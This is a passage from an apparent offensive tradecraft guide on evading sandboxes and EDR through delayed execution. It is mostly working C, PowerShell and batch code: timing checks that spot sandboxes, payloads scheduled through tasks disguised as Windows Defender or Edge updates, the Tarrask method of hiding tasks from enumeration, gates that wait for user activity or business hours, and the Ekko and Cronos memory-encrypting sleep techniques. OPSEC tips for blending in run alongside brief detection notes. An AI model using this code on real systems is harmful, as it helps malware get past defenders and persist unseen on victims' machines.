- Use unreachable RFC1918 address (10.254.254.254) — timeout-based
- Split across multiple shorter ping commands
- Vary -n count per execution (environment-based count)
- Pipe to file with -q flag to suppress output
[OPSEC] Real-world usage:
- Mustang Panda: cmd /c ping 8.8.8.8 -n 70&&"%temp%\<exe>"
- Saint Bot loader: timeout 20 command for 20-second delay
- Snip3 loader: WScript.Sleep before second stage
[LOLBIN alternatives]:
- timeout /t <seconds> /nobreak (Windows built-in)
- choice /c ab /n /t 60 /d b (wait 60 seconds, select 'b')
- waitfor /t <seconds> SomeSignal (waits for signal that never comes)
9. Sleep Skipping Detection — GetTickCount / RDTSC
What it means: Sandboxes try to neutralize delays by hooking Sleep() and returning instantly. To detect this, malware measures the actual time elapsed using independent timers — if less time has passed than expected, a sandbox is accelerating execution. This is the anti-anti-sandbox layer.
9.1 How Sandboxes Accelerate Time
Sleep skipping (Cuckoo mechanism):
1. Hook kernel32!Sleep
2. When Sleep(300000) called → return immediately without waiting
3. Sandbox observes all malware behavior in < 1 second
4. Malware never detects it (from malware's perspective, 300s passed)
Malware counter: verify elapsed time independently
1. Call Sleep(5000)
2. After return: check GetTickCount or other timer
3. If elapsed < 4900ms → Sleep was skipped → IN SANDBOX
4. If elapsed >= 4900ms → Real system → proceed
9.2 GetTickCount Sleep Skip Detection (C)
// sleep_check.c — Detect sandbox sleep acceleration via GetTickCount
#include <windows.h>
#include <stdio.h>
#define SLEEP_MS 5000 // 5 seconds
#define TOLERANCE_MS 500 // Allow 500ms slop
BOOL is_sleep_skipped() {
DWORD before = GetTickCount();
Sleep(SLEEP_MS); // Ask to sleep 5 seconds
DWORD elapsed = GetTickCount() - before;
printf("[*] Slept %lu ms (expected ~%d ms)\n", elapsed, SLEEP_MS);
// If elapsed < (SLEEP_MS - TOLERANCE) → sleep was shortened
if (elapsed < (SLEEP_MS - TOLERANCE_MS)) {
return TRUE; // Sleep was skipped → SANDBOX
}
return FALSE; // Normal timing → real machine
}
int main() {
if (is_sleep_skipped()) {
printf("[!] Sleep skipping detected — aborting\n");
// Appear benign: show error, open browser, whatever
return 0;
}
printf("[+] Timing check passed — executing payload\n");
// Execute payload
return 0;
}
9.3 Multi-Source Timing (Harder to Fool)
// multi_timer_check.c — Cross-validate time from multiple independent sources
// Sandbox must fake ALL sources consistently to evade this
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
// Source 1: GetTickCount (kernel32)
DWORD get_tick() {
return GetTickCount();
}
// Source 2: GetSystemTimeAsFileTime (100ns units since 1601)
ULONGLONG get_filetime_ms() {
FILETIME ft;
GetSystemTimeAsFileTime(&ft);
ULARGE_INTEGER uli;
uli.LowPart = ft.dwLowDateTime;
uli.HighPart = ft.dwHighDateTime;
return uli.QuadPart / 10000ULL; // Convert to ms
}
// Source 3: timeGetTime (winmm.dll — higher resolution)
DWORD get_timegettime() {
typedef DWORD (WINAPI *pTimeGetTime)();
HMODULE hWinmm = LoadLibraryA("winmm.dll");
if (!hWinmm) return 0;
pTimeGetTime fn = (pTimeGetTime)GetProcAddress(hWinmm, "timeGetTime");
return fn ? fn() : 0;
}
// Source 4: KUSER_SHARED_DATA tick count (direct memory read — no API call)
// Reads directly from mapped kernel structure at 0x7FFE0000
// Harder for sandbox to fake since it doesn't go through an API hook
DWORD get_kuser_tick() {
// KUSER_SHARED_DATA is mapped at 0x7FFE0000 in all Windows processes
// TickCountLow is at offset 0x320
volatile DWORD* tick = (volatile DWORD*)(0x7FFE0000 + 0x320);
return *tick;
}
BOOL timing_check(DWORD sleep_ms) {
// Record start time from all 4 sources
DWORD t1_before = get_tick();
ULONGLONG t2_before = get_filetime_ms();
DWORD t3_before = get_timegettime();
DWORD t4_before = get_kuser_tick();
Sleep(sleep_ms);
// Record end time
DWORD t1_after = get_tick();
ULONGLONG t2_after = get_filetime_ms();
DWORD t3_after = get_timegettime();
DWORD t4_after = get_kuser_tick();
DWORD elapsed1 = t1_after - t1_before;
DWORD elapsed2 = (DWORD)(t2_after - t2_before);
DWORD elapsed3 = t3_after - t3_before;
DWORD elapsed4 = (t4_after - t4_before) * 15; // ~15.6ms per tick
printf("[*] GetTickCount: %lu ms\n", elapsed1);
printf("[*] GetSystemTimeAsFile: %lu ms\n", elapsed2);
printf("[*] timeGetTime: %lu ms\n", elapsed3);
printf("[*] KUSER_SHARED_DATA: %lu ms\n", elapsed4);
// Consistency check: all sources should agree within tolerance
DWORD tolerance = sleep_ms / 10; // 10% tolerance
DWORD minimum = sleep_ms - tolerance;
if (elapsed1 < minimum || elapsed2 < minimum ||
elapsed3 < minimum || elapsed4 < minimum) {
printf("[!] Timing inconsistency — SANDBOX DETECTED\n");
return TRUE; // In sandbox
}
return FALSE; // Looks like real host
}
int main() {
printf("[*] Running multi-source timing check (5 seconds)...\n");
if (timing_check(5000)) {
// Appear benign
MessageBoxA(NULL, "Application needs to restart.", "Error", MB_OK);
return 0;
}
printf("[+] All timing checks passed — real machine\n");
// Execute payload
return 0;
}
9.4 RDTSC-Based Timing (CPU Instruction Level)
// rdtsc_timing.c — Use CPU timestamp counter for timing (no API calls)
// RDTSC (Read Time-Stamp Counter) runs at CPU frequency
// Extremely hard for sandboxes to fake at the hardware instruction level
#include <windows.h>
#include <intrin.h> // __rdtsc()
#include <stdio.h>
uint64_t rdtsc_sleep_check(DWORD sleep_ms) {
// Read CPU timestamp before sleep
uint64_t before = __rdtsc();
Sleep(sleep_ms);
// Read CPU timestamp after sleep
uint64_t after = __rdtsc();
return after - before; // CPU cycles elapsed
}
BOOL rdtsc_sandbox_check() {
// On a 3 GHz CPU: 5 seconds = ~15,000,000,000 cycles
// If cycles << expected → sandbox fast-forwarded time
DWORD sleep_ms = 5000;
uint64_t cycles = rdtsc_sleep_check(sleep_ms);
// Get approximate CPU frequency (CPU clock * seconds = expected cycles)
// Low bound: even a 1 GHz CPU should accumulate ~5,000,000,000 cycles in 5s
uint64_t min_expected = 1000000000ULL * (sleep_ms / 1000); // 5B cycles
printf("[*] RDTSC cycles in %d ms: %llu\n", sleep_ms, cycles);
printf("[*] Minimum expected: %llu\n", min_expected);
if (cycles < min_expected) {
printf("[!] RDTSC anomaly — likely sandbox/VM\n");
return TRUE;
}
return FALSE;
}
9.5 OPSEC Notes for Timing Checks
[SANDBOX] How sandboxes counter timing checks:
- Modern sandboxes: patch GetTickCount + GetSystemTimeAsFileTime together
- KUSER_SHARED_DATA patching: some advanced sandboxes fake this too
- RDTSC virtualization: hypervisors can intercept RDTSC (use CPUID check first)
- ANY.RUN: interactive sandbox — user interaction resets sleep timers
[DETECT] What defenders look for:
- Multiple timing API calls in sequence (GetTickCount + GetSystemTimeAsFile)
- KUSER_SHARED_DATA direct memory access pattern
- RDTSC before + after Sleep combination
- Comparison logic: elapsed < threshold → exit / behave differently
[EVASION] Robust timing detection:
1. Cross-reference 3+ independent time sources
2. Include KUSER_SHARED_DATA read (no API → harder to hook)
3. RDTSC baseline check (hardware-level)
4. On mismatch → exit silently (don't crash — crashers are flagged)
[MITRE] T1497.003 — Time Based Checks
MITRE specifically documents GetTickCount and GetSystemTimeAsFileTime
as commonly used for sandbox detection by adversaries
10. Task Scheduler Deferred Execution
What it means: Instead of sleeping in-process, schedule the payload to run in the future using the Windows Task Scheduler. This separates the dropper from the payload execution — the dropper writes the payload, creates a scheduled task for +5 minutes, then exits cleanly. The sandbox sees a benign-looking process that exits normally.
10.1 How It Works
Stage 1 — Dropper runs in sandbox:
1. Drop payload to disk (or registry)
2. Create scheduled task: run payload in 10 minutes
3. Dropper exits cleanly
4. Sandbox: no malicious behavior → CLEAN verdict
Stage 2 — Payload executes after sandbox:
1. Task Scheduler wakes 10 minutes later
2. Executes payload on real machine
3. No sandbox watching → full C2 operation
Why this works:
- Sandbox doesn't reboot the VM between analysis runs
- Sandbox typically runs for <5 minutes
- After sandbox resets, the scheduled task fires on next boot
- Dropper and payload are in separate process trees
10.2 Schtasks Command-Line Delay
:: schtasks_delay.bat — Schedule payload to run once, in 10 minutes
:: Get current time + 10 minutes (Windows CMD date math is messy)
:: Simpler: use /sc once with relative time via PowerShell
:: Method 1: Direct schtasks (schedule at specific time)
:: First get the time 10 min from now using PowerShell
for /f "tokens=*" %%T in ('powershell -c "(Get-Date).AddMinutes(10).ToString('HH:mm')"') do set FUTURE=%%T
schtasks /create ^
/tn "WindowsUpdateHelper" ^
/tr "C:\Users\Public\update.exe" ^
/sc once ^
/st %FUTURE% ^
/f ^
/ru SYSTEM
:: Method 2: Run on next logon (delayed until user logs in again)
schtasks /create ^
/tn "MicrosoftEdgeUpdate" ^
/tr "C:\Users\Public\payload.exe" ^
/sc onlogon ^
/f
:: Cleanup: delete task after execution (add to payload itself)
:: schtasks /delete /tn "WindowsUpdateHelper" /f
10.3 Task Scheduler via PowerShell
# sched_task_delay.ps1 — Create scheduled task for deferred execution
$TaskName = "WindowsDefenderUpdate"
$PayloadPath = "C:\Users\Public\Libraries\update.exe"
$DelayMin = 10 # Run 10 minutes from now
# Calculate future time
$RunTime = (Get-Date).AddMinutes($DelayMin)
# Create action (what to run)
$Action = New-ScheduledTaskAction `
-Execute $PayloadPath
# Create trigger (when to run — once, at calculated time)
$Trigger = New-ScheduledTaskTrigger `
-Once `
-At $RunTime
# Create settings (hidden, no console window)
$Settings = New-ScheduledTaskSettingsSet `
-Hidden `
-ExecutionTimeLimit (New-TimeSpan -Minutes 60) `
-StartWhenAvailable
# Register the task (requires appropriate privileges)
Register-ScheduledTask `
-TaskName $TaskName `
-Action $Action `
-Trigger $Trigger `
-Settings $Settings `
-RunLevel Highest `
-Force | Out-Null
Write-Host "[+] Task '$TaskName' created — runs at $RunTime"
# Optional: Self-delete the dropper script after scheduling
# Remove-Item -Path $MyInvocation.MyCommand.Path -Force
10.4 Hidden Task (Tarrask Technique — Remove SD Value)
# hidden_task.ps1 — Create task then hide it by deleting Security Descriptor
# Based on Tarrask malware technique (HAFNIUM/TEMP.Avast)
# Hides task from: schtasks /query, Task Scheduler GUI, Autoruns
$TaskName = "WindowsDefenderUpdate"
# First create the task normally
$Action = New-ScheduledTaskAction -Execute "C:\Windows\system32\calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName $TaskName -Action $Action -Trigger $Trigger -Force | Out-Null
# Path in registry where task metadata lives
$RegPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\$TaskName"
# Delete the 'SD' (Security Descriptor) value from the registry key
# This makes the task invisible to normal enumeration tools
# Task still executes — just can't be seen by schtasks/GUI
if (Test-Path $RegPath) {
Remove-ItemProperty -Path $RegPath -Name "SD" -Force -ErrorAction SilentlyContinue
Write-Host "[+] Task hidden (SD value removed)"
Write-Host "[*] Task still runs but won't appear in schtasks /query"
}
# Verify it's hidden:
# schtasks /query /tn $TaskName → "ERROR: The system cannot find the file specified."
# Detect: Check registry directly:
# HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\
# Look for keys WITHOUT the 'SD' value
10.5 COM-Based Task Creation (C)
// com_task.c — Create scheduled task via COM (ITaskService)
// More flexible than schtasks.exe, no external process needed
#include <windows.h>
#include <taskschd.h>
#include <comdef.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "ole32.lib")
BOOL create_delayed_task(const wchar_t* task_name,
const wchar_t* exe_path,
int delay_minutes) {
CoInitializeEx(NULL, COINIT_MULTITHREADED);
ITaskService* pService = NULL;
CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,
IID_ITaskService, (void**)&pService);
pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
ITaskFolder* pRootFolder = NULL;
pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
ITaskDefinition* pTask = NULL;
pService->NewTask(0, &pTask);
// Set action
IActionCollection* pActionColl = NULL;
pTask->get_Actions(&pActionColl);
IAction* pAction = NULL;
pActionColl->Create(TASK_ACTION_EXEC, &pAction);
IExecAction* pExecAction = NULL;
pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
pExecAction->put_Path(_bstr_t(exe_path));
// Set trigger: once, N minutes from now
ITriggerCollection* pTrigColl = NULL;
pTask->get_Triggers(&pTrigColl);
ITrigger* pTrigger = NULL;
pTrigColl->Create(TASK_TRIGGER_TIME, &pTrigger);
ITimeTrigger* pTimeTrigger = NULL;
pTrigger->QueryInterface(IID_ITimeTrigger, (void**)&pTimeTrigger);
// Calculate run time
SYSTEMTIME st;
GetLocalTime(&st);
st.wMinute += delay_minutes;
if (st.wMinute >= 60) { st.wHour++; st.wMinute -= 60; }
wchar_t time_str[30];
swprintf_s(time_str, 30, L"%04d-%02d-%02dT%02d:%02d:00",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute);
pTimeTrigger->put_StartBoundary(_bstr_t(time_str));
// Register
IRegisteredTask* pRegTask = NULL;
pRootFolder->RegisterTaskDefinition(
_bstr_t(task_name), pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(), _variant_t(),
TASK_LOGON_INTERACTIVE_TOKEN,
_variant_t(L""),
&pRegTask);
// Cleanup
if (pRegTask) pRegTask->Release();
if (pTimeTrigger) pTimeTrigger->Release();
if (pTrigger) pTrigger->Release();
if (pTrigColl) pTrigColl->Release();
if (pExecAction) pExecAction->Release();
if (pAction) pAction->Release();
if (pActionColl) pActionColl->Release();
if (pTask) pTask->Release();
if (pRootFolder) pRootFolder->Release();
if (pService) pService->Release();
CoUninitialize();
return TRUE;
}
10.6 OPSEC Notes for Task Scheduler
[DETECT] Scheduled task detection:
- Event ID 4698 (Security log): "A scheduled task was created"
- Event ID 106 (TaskScheduler/Operational): "Task registered"
- Sysmon: Event ID 1 for schtasks.exe process creation
- Autoruns / schtasks /query — unless SD value removed (Tarrask)
- Registry: HKLM\Software\Microsoft\Windows NT\CurrentVersion\
Schedule\TaskCache\Tasks\{GUID}
[DETECT] Tarrask hidden task detection:
- Check TaskCache\Tree for keys WITHOUT SD value
- Event ID 4699: task deletion (SD removal creates this)
- Velociraptor / EDR: direct registry inspection bypasses schtasks
[EVASION] Blending in:
- Use task names matching legitimate Windows tasks
- "WindowsDefenderUpdate", "MicrosoftEdgeUpdate", "OneDriveUpdate"
- Set task description and author to match the spoofed product
- Use /ru SYSTEM where available (higher privilege, less suspicious)
[MITRE] T1053.005 — Scheduled Task
Documented technique used by Tarrask malware (HAFNIUM) for persistence
+ defense evasion via hidden scheduled task
11. Conditional & Event-Based Delays
What it means: Instead of time-based delays, trigger execution based on environmental conditions — user activity, network availability, specific time of day, CPU/RAM thresholds. These conditions are either met naturally on real endpoints or can be waited for, making sandbox evasion more robust.
11.1 User Activity Check (Mouse/Keyboard)
// user_activity_delay.c — Wait for real user activity before executing
#include <windows.h>
#include <stdio.h>
// Wait until the user moves the mouse (proves it's a real machine)
BOOL wait_for_user_activity(DWORD timeout_ms) {
POINT last_pos = {0}, cur_pos = {0};
GetCursorPos(&last_pos);
DWORD start = GetTickCount();
while (GetTickCount() - start < timeout_ms) {
GetCursorPos(&cur_pos);
// Mouse moved → real user activity
if (cur_pos.x != last_pos.x || cur_pos.y != last_pos.y) {
return TRUE;
}
Sleep(500); // Check every 500ms
}
return FALSE; // Timeout — no activity (sandbox/VM with no interaction)
}
// Check system idle time (time since last input)
DWORD get_idle_time_ms() {
LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) };
if (!GetLastInputInfo(&lii)) return 0;
return GetTickCount() - lii.dwTime;
}
int main() {
printf("[*] Waiting for user activity (max 5 minutes)...\n");
// Method 1: Wait for mouse movement
if (!wait_for_user_activity(300000)) {
printf("[!] No user activity — likely sandbox\n");
return 0;
}
printf("[+] User activity detected — proceeding\n");
// Method 2: Check idle time (real machines are usually active)
DWORD idle = get_idle_time_ms();
if (idle > 120000) { // 2+ minutes idle
printf("[*] System idle for %lu ms — waiting...\n", idle);
Sleep(idle / 2); // Wait half the idle time before proceeding
}
// Execute payload
return 0;
}
11.2 Time-of-Day Gating
// time_gate.c — Execute only during business hours (Monday-Friday, 9AM-5PM)
#include <windows.h>
#include <stdio.h>
#include <time.h>
BOOL in_business_hours() {
SYSTEMTIME st;
GetLocalTime(&st);
// wDayOfWeek: 0=Sunday, 1=Monday, ..., 5=Friday, 6=Saturday
if (st.wDayOfWeek == 0 || st.wDayOfWeek == 6) {
return FALSE; // Weekend — sandbox is likely
}
// Business hours: 9AM - 5PM
if (st.wHour < 9 || st.wHour >= 17) {
return FALSE; // Outside business hours
}
return TRUE;
}
// Specific date trigger (Sazoora malware style — only runs on 16th-18th)
BOOL specific_date_trigger() {
SYSTEMTIME st;
GetLocalTime(&st);
// Only execute on day 15 of any month
return (st.wDay >= 15 && st.wDay <= 17);
}
// Sleep until business hours
void sleep_until_business_hours() {
while (!in_business_hours()) {
printf("[*] Outside business hours — sleeping 5 minutes\n");
Sleep(300000); // Sleep 5 min, check again
}
printf("[+] Business hours confirmed — executing\n");
}
11.3 Process & Network Conditions
// condition_check.c — Wait for specific processes / network connectivity
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// Wait until a specific process is running (e.g., Outlook, Teams)
BOOL process_running(const char* proc_name) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return FALSE;
PROCESSENTRY32 pe = { sizeof(pe) };
BOOL found = FALSE;
if (Process32First(snap, &pe)) {
do {
if (_stricmp(pe.szExeFile, proc_name) == 0) {
found = TRUE;
break;
}
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
return found;
}
// Wait until specific process is running (proves real user session)
void wait_for_process(const char* proc_name) {
printf("[*] Waiting for '%s' to be running...\n", proc_name);
while (!process_running(proc_name)) {
Sleep(30000); // Check every 30 seconds
}
printf("[+] '%s' detected — user is active\n", proc_name);
}
// Wait for specific domain connectivity (C2 domain reachability)
BOOL domain_reachable(const char* hostname) {
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
struct addrinfo* result = NULL;
int ret = getaddrinfo(hostname, NULL, NULL, &result);
if (result) freeaddrinfo(result);
WSACleanup();
return (ret == 0);
}
int main() {
// Only proceed if Outlook is running (real user session)
wait_for_process("OUTLOOK.EXE");
// Only proceed if C2 is reachable
while (!domain_reachable("update.microsoft.com")) {
printf("[*] No connectivity — waiting 60 seconds\n");
Sleep(60000);
}
// Execute payload
return 0;
}
12. Sleep Obfuscation — Ekko (Timer Queue + ROP)
What it means: Ekko is an open-source sleep obfuscation technique by Cracked5pider. It encrypts the implant's memory (using RC4 via SystemFunction032) while it sleeps, then decrypts it before resuming. EDR memory scanners that scan during the sleep period see only encrypted, non-executable bytes. The technique uses CreateTimerQueueTimer to queue a ROP chain that executes the encrypt → sleep → decrypt cycle.
12.1 How Ekko Works
Ekko cycle (per sleep):
1. Change memory page protection: RX → RW
2. Encrypt image bytes (SystemFunction032/RC4)
3. Sleep (WaitForSingleObjectEx on unsignaled event)
4. Decrypt image bytes (SystemFunction032 again — RC4 is symmetric)
5. Restore memory page protection: RW → RX
6. Continue execution
Mechanism:
→ CreateTimerQueueTimer queues three callbacks
→ Callback 1: Encrypts .text section (ROP-controlled CONTEXT)
→ Callback 2: WaitForSingleObjectEx(hEvent, INFINITE, TRUE) — actual sleep
→ Callback 3: Decrypts .text section
→ RtlCaptureContext captures current thread state
→ CONTEXT registers are manipulated to redirect execution via ROP
Why EDR memory scanners miss it:
During sleep: memory = RC4 encrypted + PAGE_READWRITE (not executable)
Scanner: no executable malicious code in memory → CLEAN
12.2 Ekko Core Setup (C — Simplified)
// ekko_simplified.c — Core Ekko setup (simplified for clarity)
// Full implementation: https://github.com/Cracked5pider/Ekko
#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")
// SystemFunction032: RC4 encryption (from advapi32.dll)
// Used by Ekko to encrypt/decrypt implant memory
typedef struct {
ULONG Length;
ULONG MaximumLength;
PUCHAR Buffer;
} USTRING;
typedef NTSTATUS (NTAPI *pSystemFunction032)(USTRING*, USTRING*);
// RC4-encrypt or decrypt a memory region using SystemFunction032
void ekko_crypt(PVOID base, SIZE_T size, BYTE* key, DWORD key_len) {
HMODULE hAdvapi = LoadLibraryA("advapi32.dll");
pSystemFunction032 SystemFunction032 = (pSystemFunction032)
GetProcAddress(hAdvapi, "SystemFunction032");
USTRING data = { (ULONG)size, (ULONG)size, (PUCHAR)base };
USTRING kstr = { key_len, key_len, key };
SystemFunction032(&data, &kstr); // In-place RC4 encrypt/decrypt
}
// Change memory protection for a region
void change_protection(PVOID base, SIZE_T size, DWORD new_prot, DWORD* old_prot) {
VirtualProtect(base, size, new_prot, old_prot);
}
// Simplified Ekko sleep (without full ROP chain — conceptual)
void ekko_sleep(DWORD ms) {
// Key for RC4 encryption during sleep
BYTE key[] = { 0x61, 0x45, 0x32, 0xF1, 0x88, 0x4C, 0xA0, 0x22,
0x3B, 0x77, 0xDE, 0x15, 0x9A, 0x60, 0x11, 0x03 };
// Get base address and size of current image
PVOID img_base = GetModuleHandleA(NULL);
SIZE_T img_size = 0;
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(img_base, &mbi, sizeof(mbi));
img_size = mbi.RegionSize;
DWORD old_prot;
// ─── PRE-SLEEP: Encrypt ──────────────────────────────────
// 1. Mark as writable (need RW to modify bytes)
change_protection(img_base, img_size, PAGE_READWRITE, &old_prot);
// 2. RC4-encrypt the image in-place
ekko_crypt(img_base, img_size, key, sizeof(key));
// 3. Mark as non-accessible (no read/write/execute during sleep)
DWORD dummy;
change_protection(img_base, img_size, PAGE_NOACCESS, &dummy);
// ─── SLEEP ───────────────────────────────────────────────
// In real Ekko, this is a ROP-controlled WaitForSingleObjectEx
// Here simplified to a direct Sleep (concept demonstration only)
Sleep(ms);
// ─── POST-SLEEP: Decrypt ─────────────────────────────────
// 4. Re-mark as writable
change_protection(img_base, img_size, PAGE_READWRITE, &dummy);
// 5. RC4-decrypt (same operation — RC4 is symmetric)
ekko_crypt(img_base, img_size, key, sizeof(key));
// 6. Restore original protection (RX)
change_protection(img_base, img_size, old_prot, &dummy);
// Execution continues here normally
}
12.3 Ekko Timer Queue Flow (C — Structural Overview)
// ekko_timer_flow.c — Timer queue setup used by real Ekko
// Queues 3 callbacks for: encrypt + sleep + decrypt
#include <windows.h>
// Real Ekko uses RtlCaptureContext + manipulated CONTEXT structs
// to turn callbacks into a ROP chain.
// This is a structural outline of the timer queue setup.
typedef struct {
HANDLE hTimerQueue;
HANDLE hTimer[3];
HANDLE hEvent; // Event for sleep wait
BYTE rc4_key[16];
PVOID img_base;
SIZE_T img_size;
} EkkoCtx;
VOID CALLBACK encrypt_callback(PVOID ctx, BOOLEAN fired) {
EkkoCtx* ec = (EkkoCtx*)ctx;
DWORD old;
VirtualProtect(ec->img_base, ec->img_size, PAGE_READWRITE, &old);
// SystemFunction032 encrypt (see §12.2)
// ...
VirtualProtect(ec->img_base, ec->img_size, PAGE_NOACCESS, &old);
}
VOID CALLBACK sleep_callback(PVOID ctx, BOOLEAN fired) {
// In real Ekko: ROP chain performs WaitForSingleObjectEx(hEvent, INFINITE, TRUE)
EkkoCtx* ec = (EkkoCtx*)ctx;
WaitForSingleObjectEx(ec->hEvent, INFINITE, TRUE);
}
VOID CALLBACK decrypt_callback(PVOID ctx, BOOLEAN fired) {
EkkoCtx* ec = (EkkoCtx*)ctx;
DWORD old;
VirtualProtect(ec->img_base, ec->img_size, PAGE_READWRITE, &old);
// SystemFunction032 decrypt
// ...
VirtualProtect(ec->img_base, ec->img_size, PAGE_EXECUTE_READ, &old);
SetEvent(ec->hEvent); // Signal wake-up
}
void ekko_timer_setup(EkkoCtx* ec, DWORD sleep_ms) {
ec->hTimerQueue = CreateTimerQueue();
ec->hEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
DWORD t = 0;
// Timer 1: fires at t=0 → encrypt
CreateTimerQueueTimer(&ec->hTimer[0], ec->hTimerQueue,
encrypt_callback, ec, 0, 0, 0);
// Timer 2: fires at t=100ms → sleep (after encryption completes)
CreateTimerQueueTimer(&ec->hTimer[1], ec->hTimerQueue,
sleep_callback, ec, 100, 0, 0);
// Timer 3: fires at t=100ms + sleep_ms → decrypt
CreateTimerQueueTimer(&ec->hTimer[2], ec->hTimerQueue,
decrypt_callback, ec, 100 + sleep_ms, 0, 0);
// Wait for the decrypt callback to complete
WaitForSingleObject(ec->hEvent, INFINITE);
DeleteTimerQueueEx(ec->hTimerQueue, NULL);
CloseHandle(ec->hEvent);
}
12.4 OPSEC Notes for Ekko
[OPSEC] Ekko advantages:
- Image encrypted during sleep → memory scanners find nothing
- Memory permission: PAGE_NOACCESS during sleep → not executable
- No obvious Sleep() call → avoids direct sleep-skipping hooks
- Havoc C2 has Ekko built-in as sleep technique option
[DETECT] Ekko detection (WithSecure / Binary Defense research):
- CreateTimerQueueTimer in sequence with RtlCaptureContext → suspicious
- VAD (Virtual Address Descriptor) permission flips: RX → RW → NA → RW → RX
- Moneta / PE-sieve: detects implant as unsigned shellcode even with Ekko
- ETW: timer queue creation + WaitForSingleObjectEx sequence
- Hunt-Sleeping-Beacons: scans for sleeping beacons using timer artifacts
[TOOL] Real Ekko implementation:
GitHub: https://github.com/Cracked5pider/Ekko
[TOOL] Related tools:
- Havoc C2: Ekko + FOLIAGE + Zilean sleep techniques built-in
- AceLdr (Cobalt Strike): FOLIAGE-based sleep obfuscation
- vol3-suite: detects Ekko/Kronos via VAD permission flip patterns
13. Sleep Obfuscation — Cronos (Waitable Timer + APC ROP)
What it means: Cronos is a sleep obfuscation implementation by Idov31. It uses Waitable Timer objects combined with a ROP (Return-Oriented Programming) chain to perform sleep obfuscation without directly calling Sleep(). WaitableTimers fire completion routines (APCs) when they expire, and Cronos uses these APC callbacks to execute the encrypt/decrypt sequence via manipulated thread contexts.
13.1 How Cronos Differs from Ekko
Ekko:
Uses: CreateTimerQueueTimer (user-mode timer queue)
Sleep: WaitForSingleObjectEx in callback
ETW: Generates some telemetry
Cronos:
Uses: NtCreateWaitableTimer / SetWaitableTimer (NT-layer objects)
Sleep: NtWaitForSingleObject with ROP chain
ETW: Little to no ETW telemetry (confirmed in research)
APC: WaitableTimer completion routines deliver APCs
Core crypto: SystemFunction032 (RC4)
Detection difference:
Both leave PAGE_NOACCESS + encrypted memory during sleep
Cronos: harder to detect via ETW than Ekko
13.2 Cronos Core Concept (C)
// cronos_concept.c — Conceptual Cronos implementation
// Full: https://github.com/Idov31/Cronos
#include <windows.h>
#include <winternl.h>
// NT timer types
typedef NTSTATUS (NTAPI *pNtCreateWaitableTimer)(
PHANDLE TimerHandle,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes
);
typedef NTSTATUS (NTAPI *pNtSetWaitableTimer)(
HANDLE TimerHandle,
PLARGE_INTEGER DueTime,
LONG Period,
PVOID ApcRoutine, // ← APC completion routine (used in Cronos ROP)
PVOID ApcContext,
BOOLEAN WakeContext
);
typedef NTSTATUS (NTAPI *pNtWaitForSingleObject)(
HANDLE Handle,
BOOLEAN Alertable,
PLARGE_INTEGER Timeout
);
// Each WaitableTimer is configured with an APC routine:
// - Timer 1 APC: Encrypt image (PAGE_RW + SystemFunction032)
// - Timer 2 APC: The actual sleep wait (NtWaitForSingleObject alertable)
// - Timer 3 APC: Decrypt image + restore protection
// ROP gadgets are used to manipulate return addresses so the APC
// completion routines execute in the right order without direct
// function calls (bypassing call-stack based detection).
void cronos_sleep(DWORD ms) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtCreateWaitableTimer NtCreateWaitableTimer =
(pNtCreateWaitableTimer)GetProcAddress(hNtdll, "NtCreateWaitableTimer");
pNtSetWaitableTimer NtSetWaitableTimer =
(pNtSetWaitableTimer)GetProcAddress(hNtdll, "NtSetWaitableTimer");
pNtWaitForSingleObject NtWaitForSingleObject =
(pNtWaitForSingleObject)GetProcAddress(hNtdll, "NtWaitForSingleObject");
HANDLE hTimer1, hTimer2, hTimer3;
// Create 3 waitable timers
NtCreateWaitableTimer(&hTimer1, TIMER_ALL_ACCESS, NULL);
NtCreateWaitableTimer(&hTimer2, TIMER_ALL_ACCESS, NULL);
NtCreateWaitableTimer(&hTimer3, TIMER_ALL_ACCESS, NULL);
// Set timing (100ns negative = relative)
LARGE_INTEGER t1_due, t2_due, t3_due;
t1_due.QuadPart = 0LL; // Fire immediately
t2_due.QuadPart = -100000LL; // 10ms
t3_due.QuadPart = -((LONGLONG)ms * 10000LL); // ms from now
// Timer 1: Encrypt callback
NtSetWaitableTimer(hTimer1, &t1_due, 0,
/* encrypt_apc */(PVOID)NULL,
/* img context */ NULL, FALSE);
// Timer 2: Sleep callback (alertable wait)
NtSetWaitableTimer(hTimer2, &t2_due, 0,
/* sleep_apc */(PVOID)NULL,
NULL, FALSE);
// Timer 3: Decrypt callback
NtSetWaitableTimer(hTimer3, &t3_due, 0,
/* decrypt_apc */(PVOID)NULL,
NULL, FALSE);
// Wait in alertable state for all APCs to complete
LARGE_INTEGER timeout;
timeout.QuadPart = -((LONGLONG)(ms + 1000) * 10000LL);
NtWaitForSingleObject(hTimer3, TRUE, &timeout);
NtClose(hTimer1);
NtClose(hTimer2);
NtClose(hTimer3);
}
13.3 OPSEC Notes for Cronos
[OPSEC] Cronos advantages:
- Uses NT-layer API (NtCreateWaitableTimer, not CreateWaitableTimer)
- Less ETW telemetry than Ekko (confirmed by Binary Defense research)
- WaitableTimer APCs are a less-monitored code path
- No direct kernel32 function calls visible in call stack
[DETECT] Cronos detection:
- Memory scanners during sleep: encrypted image still findable
- pe-sieve / Moneta: detect unsigned RWX/RW image regions
- ETW: NtCreateWaitableTimer + alertable wait sequence
